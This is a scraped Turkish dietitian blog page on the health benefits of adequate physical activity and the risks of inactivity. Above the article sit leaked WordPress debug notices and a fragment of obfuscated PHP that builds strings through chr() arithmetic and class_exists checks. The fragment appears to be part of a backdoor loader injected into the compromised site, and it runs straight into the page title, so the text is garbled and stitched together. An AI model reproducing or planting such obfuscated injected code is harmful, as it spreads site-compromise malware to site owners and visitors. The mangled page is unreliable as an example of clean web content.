Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-seo-pack domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the gotmls domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the robin-image-optimizer domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-optimize domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the the-events-calendar domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wpforms-lite domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the breadcrumb-navxt domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Yeterli düzeyde fiziksel aktivite yapmak | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı

Yeterli düzeyde fiziksel aktivite yapmak neden önemli? Fiziksel aktivite egzersiz ve sporu da kapsayan geniş bir kavramdır. Her yaş grubunda düzenli fiziksel aktivite;

Fiziksel Aktivitenin Sağlığa Faydaları

Sağlıklı olmayı sağlar.
Fiziksel performans kapasitesini artırır
Vücut ağırlığı kontrolüne yardımcı olur.
Yaşam kalitesini artırır.
Denge ve koordinasyonu geliştirir.
Karın bölgesinde yağlanmayı azaltıp, kemik ve kas kuvvetini artırır.
Kalp damar hastalıklarının görülme riskini azaltır.
Kanda yağ (lipid) ve kolesterol düzeyini düşürür.
Şeker hastalığı (Tip 2 diyabet) riskini azaltır.
Bazı kanser türlerinin (meme, kalın bağırsak gibi) görülme riskini azaltır.
Bireyin kendisini daha iyi hissetmesini sağlar, depresyon riskini ve stresi azaltır.

Diyet ve yaşam tarzı ile kronik hastalıkların önlenmesi(Yeni sekmede açılır)

Fiziksel Aktivite Eksikliği


Bu amaçla yetişkinlerin günde  en az 10 dakika olmak kaydıyla haftada 150 dakika Yeterli düzeyde fiziksel aktivite yapmalı , gençlerin ise her gün en az bir saat fiziksel aktivite yapması önerilmektedir. Fiziksel aktivite olarak hızlı tempoda yürüme, koşma, bisiklete binme, paten kayma, ip atlama, futbol, basketbol, voleybol, yüzme ve tenis gibi sporlar yapılabilir.

Kas kuvvetini ve gücünü artırmaya yönelik, şınav, mekik veya ağırlık kaldırma gibi0 de yapmak sağlıklı olmak açısından önemlidir.

Yeterli düzeyde fiziksel aktivite yapmak
Yeterli düzeyde fiziksel aktivite yapmak

Yeterli Fiziksel Aktivite Yapmamanın Zararları

Kalp hastalığı

Yeterli fiziksel aktivitede bulunmayıp yapmamak, başka risk faktörü olmayan kişilerde bile  kalp hastalığı sorununa yol açabilir. Ayrıca obezite, yüksek tansiyon, yüksek kan kolesterolü ve tip 2 diyabet gibi diğer kalp hastalığı risk faktörlerini geliştirme olasılığını da yükseltebilir.

tip 2 diyabet

Yeterli fiziksel aktivite yapmamak, bir insanın tip 2 diyabet geliştirme olasılığını artırabilir. Yeterli düzeyde fiziksel aktivite yapmak kan şekerini (glikoz), kiloyu ve kan basıncını kontrol etmeye yardımcı olur ve iyi kolesterolü yükseltmeye ve kötü kolesterolü düşürmeye sebep olur. Yeterli fiziksel aktivite, genellikle diyabetli kişiler için sorun olan kalp hastalığı ve sinir hasarı riskini azaltmaya da yardımcı olabilir. Gizli şeker hastalığı ve tip 2 diyabet için önde gelen önlenebilir risk faktörleri aşırı kilolu olmak ve yeterince fiziksel aktivite yapmamaktır.

Kanser

Önerilen miktarda yeterli düzeyde fiziksel aktivite yapmak, mesane, göğüs, kolon, rahim, yemek borusu, böbrek, akciğer ve mide kanserleri dahil olmak üzere birçok kanser riskini azaltabilir. Bu etkiler ağırlık durumundan bağımsız olarak geçerlidir.

Dyt. Nursena ARDALI Diyetisyen Merkezi ( Bursa Diyetisyeni )

Bursa diyetisyen , diyetisyen , online diyetisyen

#diyetisyenmerkezi #bursadiyetisyeni

Bir yanıt yazın